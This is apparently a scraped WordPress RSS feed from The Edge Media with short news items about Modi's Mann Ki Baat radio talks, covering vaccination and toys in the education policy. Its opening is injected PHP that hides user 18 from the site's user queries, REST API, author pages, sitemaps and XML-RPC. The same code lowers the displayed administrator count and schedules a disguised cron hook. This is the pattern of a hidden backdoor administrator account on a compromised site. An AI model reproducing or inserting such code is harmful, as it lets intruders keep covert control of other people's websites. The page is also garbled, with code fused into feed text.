add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Modi Encourages Vaccination At His Mann Ki Baat Session Today appeared first on The Edge Media.
]]>Encouraging people to be immunized against the coronavirus, Modi stated that he and his mother had been completely vaccinated and urged people to follow science since skipping the shot can be ‘hazardous.’
In his remarks on the social events, he asked everyone to follow all COVID-19 protocols. “Note that corona has not yet been gone from among us at festivities and cheerfulness. COVID-19-related procedures are not to be overlooked,” he stressed.
The post Modi Encourages Vaccination At His Mann Ki Baat Session Today appeared first on The Edge Media.
]]>The post PM Modi’s Mann ki Baat encourages man to get jabbed appeared first on The Edge Media.
]]>The chat between PM Modi and Hirave was pre-recorded and aired on Sunday as part of Mann Ki Baat programme.
Forty-three-year-old Hirave told PM Modi that dangerous information is being spread about the vaccines being administered in the country. Hirave said he has received messages on WhatsApp claiming that people are dying after being vaccinated. But the Prime Minister said this information is false. PM Modi gave his own example and urged Hirave to take a shot of the vaccine which he said is the only way to stop the infection from spreading.
“After talking to the prime minister on Friday, I along with my family members got the vaccine shot for prevention from the coronavirus infection on Saturday,” Hirave told news agency PTI.
The post PM Modi’s Mann ki Baat encourages man to get jabbed appeared first on The Edge Media.
]]>The post National Education Policy focuses on making toys too says PM appeared first on The Edge Media.
]]>Addressing the nation in his monthly radio program, ‘Mann ki Baat’, the PM said, “I thought about children during COVID-19 lockdown and discussed ways to make India a global hub in making toys.”
“We have given the focus on toys in the National Education Policy too. Learning while playing, making toys, etc has been made a part of the curriculum,” Modi said.
In a push for self-reliance, the PM said that India’s share in the Rs 7 lakh crore worth global toy industry is very small and urged startups in the country to team up for making toys and go vocal for local.
The post National Education Policy focuses on making toys too says PM appeared first on The Edge Media.
]]>